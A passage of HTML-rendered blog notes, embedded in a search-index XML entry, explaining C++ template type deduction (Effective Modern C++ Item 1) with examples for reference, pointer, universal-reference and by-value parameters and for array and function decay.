class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(T& param)</span></span>;</span><br></pre></td></tr></table></figure><p> Variable declarations and deduced types are as follows.</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> x = <span class="number">27</span>;</span><br><span class="line">f(x); <span class="comment">// T: int param: int&</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> cx = x;</span><br><span class="line">f(cx); <span class="comment">// T: const int param: const int&</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span>& rx = x;</span><br><span class="line">f(rx); <span class="comment">// T: const int param: const int&</span></span><br></pre></td></tr></table></figure></li><li><p>Change the type of <code>f</code>‘s parameter from <code>T&</code> to <code>const T&</code>.</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(<span class="keyword">const</span> T& param)</span></span>;</span><br></pre></td></tr></table></figure><p> Variable declarations and deduced types are as follows.</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> x = <span class="number">27</span>;</span><br><span class="line">f(x); <span class="comment">// T: int param: const int&</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> cx = x;</span><br><span class="line">f(cx); <span class="comment">// T: const int param: const int&</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span>& rx = x;</span><br><span class="line">f(rx); <span class="comment">// T: const int param: const int&</span></span><br></pre></td></tr></table></figure></li><li><p>If <code>parm</code> were a pointer instead of a reference.</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(T* param)</span></span>;</span><br></pre></td></tr></table></figure><p> Variable declarations and deduced types are as follows.</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> x = <span class="number">27</span>;</span><br><span class="line">f(&x); <span class="comment">// T: int param: int*</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> *px = &x;</span><br><span class="line">f(px); <span class="comment">// T: const int param: const int*</span></span><br></pre></td></tr></table></figure></li></ol><h2 id="Case-2-ParamType-is-a-universal-reference"><a href="#Case-2-ParamType-is-a-universal-reference" class="headerlink" title="Case 2: ParamType is a universal reference."></a>Case 2: <code>ParamType</code> is a <code>universal reference</code>.</h2><p>The complete story about <a href="/effective-modern-c-item-24.md"><code>universal reference</code></a></p><p>Here is the type deduction:</p><ol><li>If <code>expr</code> is an <code>lvalue</code>, both <code>T</code> and <code>ParamType</code> are deduced to be <code>lvalue reference</code>.</li><li>If <code>expr</code> is an <code>rvalue</code>, the normal rules apply.</li></ol><h3 id="Example"><a href="#Example" class="headerlink" title="Example."></a>Example.</h3><p>For example,<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(T&& param)</span></span>;</span><br></pre></td></tr></table></figure></p><p>Variable declarations and deduced types are as follows.<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> x = <span class="number">27</span>;</span><br><span class="line">f(x); <span class="comment">// T: int& param: int&</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> cx = x;</span><br><span class="line">f(cx); <span class="comment">// T: const int& param: const int&</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span>& rx = x;</span><br><span class="line">f(rx); <span class="comment">// T: const int& param: const int&</span></span><br><span class="line"></span><br><span class="line">f(<span class="number">27</span>); <span class="comment">// T: int param: int&&</span></span><br></pre></td></tr></table></figure></p><h2 id="Case-3-ParamType-is-neither-a-pointer-nor-a-reference"><a href="#Case-3-ParamType-is-neither-a-pointer-nor-a-reference" class="headerlink" title="Case 3: ParamType is neither a pointer nor a reference."></a>Case 3: <code>ParamType</code> is neither a <code>pointer</code> nor a <code>reference</code>.</h2><p>That means that <code>param</code> will be a copy of whatever is passed in.</p><p>How <code>T</code> is deduced from <code>expr</code>:</p><ol><li>If <code>expr</code>‘s type is a <code>reference</code>, ignore the <code>reference</code> part.</li><li>If <code>expr</code> is <code>const</code> or <code>volatile</code>(<a href="/effective-modern-c-item-40.md">detail</a>), ignore that, too.</li></ol><h3 id="Examples-1"><a href="#Examples-1" class="headerlink" title="Examples."></a>Examples.</h3><p>For example,<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(T param)</span></span>;</span><br></pre></td></tr></table></figure></p><p>Variable declarations and deduced types are as follows.<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> x = <span class="number">27</span>;</span><br><span class="line">f(x); <span class="comment">// T: int param: int</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> cx = x;</span><br><span class="line">f(cx); <span class="comment">// T: int param: int</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span>& rx = x;</span><br><span class="line">f(rx); <span class="comment">// T: int param: int</span></span><br></pre></td></tr></table></figure></p><p>Consider rhe case where <code>expr</code> is a <code>const</code> pointer to a <code>const</code> object, and <code>expr</code>is passed to a by-value<code>param</code>:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(T param)</span></span>;</span><br></pre></td></tr></table></figure></p><p>Variable declarations and deduced types are as follows.<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="keyword">char</span>* <span class="keyword">const</span> ptr = <span class="string">"fun with pointer?"</span>;</span><br><span class="line">f(ptr); <span class="comment">// T: const char* param: const char*</span></span><br></pre></td></tr></table></figure></p><h2 id="Array-arguments"><a href="#Array-arguments" class="headerlink" title="Array arguments."></a>Array arguments.</h2><p>Consider this variables:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="keyword">char</span> name[] = <span class="string">"A decay test"</span>; <span class="comment">// type is const char[13]</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span>* ptr = name; <span class="comment">// array decays to pointer</span></span><br></pre></td></tr></table></figure></p><p>Variable declarations and deduced types are as follows.<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(T param)</span></span>;</span><br><span class="line"></span><br><span class="line">f(name); <span class="comment">// T: const char* param: const char*</span></span><br></pre></td></tr></table></figure></p><p>But if we modify the template <code>f</code> to take its argument by reference:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(T& param)</span></span>;</span><br><span class="line"></span><br><span class="line">f(name); <span class="comment">// T: const char[13] param: const char(&)[13]</span></span><br></pre></td></tr></table></figure></p><h4 id="trick"><a href="#trick" class="headerlink" title="trick"></a>trick</h4><p>Take advantage of that:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T, <span class="built_in">std</span>::<span class="keyword">size_t</span> N></span><br><span class="line"><span class="keyword">constexpr</span> <span class="built_in">std</span>::<span class="keyword">size_t</span> arraySize(T (&)[N]) <span class="keyword">noexcept</span> {</span><br><span class="line"> <span class="keyword">return</span> N;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>The detail of <a href="/effective-modern-c-item-14.md"><code>noexcept</code></a><br>The detail of <a href="/effective-modern-c-item-15.md"><code>constexpr</code></a></p><h2 id="Function-Arguments"><a href="#Function-Arguments" class="headerlink" title="Function Arguments"></a>Function Arguments</h2><p>Function types can decay into function pointers:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">someFunc</span><span class="params">(<span class="keyword">int</span>, <span class="keyword">double</span>)</span></span>;</span><br></pre></td></tr></table></figure></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f1</span><span class="params">(T param)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f2</span><span class="params">(T& param)</span></span>;</span><br><span class="line"></span><br><span class="line">f1(someFunc); <span class="comment">// param: void (*)(int, double)</span></span><br><span class="line">f2(someFunc); <span class="comment">// param: void (&)(int, double)</span></span><br></pre></td></tr></table></figure><p><a href="/effective-modern-c-item-4.md">Show deduction result by compiler</a></p><h1 id="Things-to-remember"><a href="#Things-to-remember" class="headerlink" title="Things to remember"></a>Things to remember</h1><ul><li>During template type deduction, arguments that are <code>references</code> are treated as non-references, i.e., their reference-ness is ignored.</li><li>When deducing types for <code>universal reference</code> parameters, <code>lvalue</code> arguments get special treatment.</li><li>When deducing types for <code>by-value</code> parameters, <code>const</code> and <code>volatile</code> arguments are treated as <code>non-const</code> and <code>non-volatile</code>.</li><li>During <code>template</code> type deduction, arguments that are array or function names decay to <code>pointers</code>, unless they’re used to initialize <code>references</code>.</li></ul>]]></content>
<tags>
<tag> C++11/C++14 </tag>
</tags>
</entry>
</search>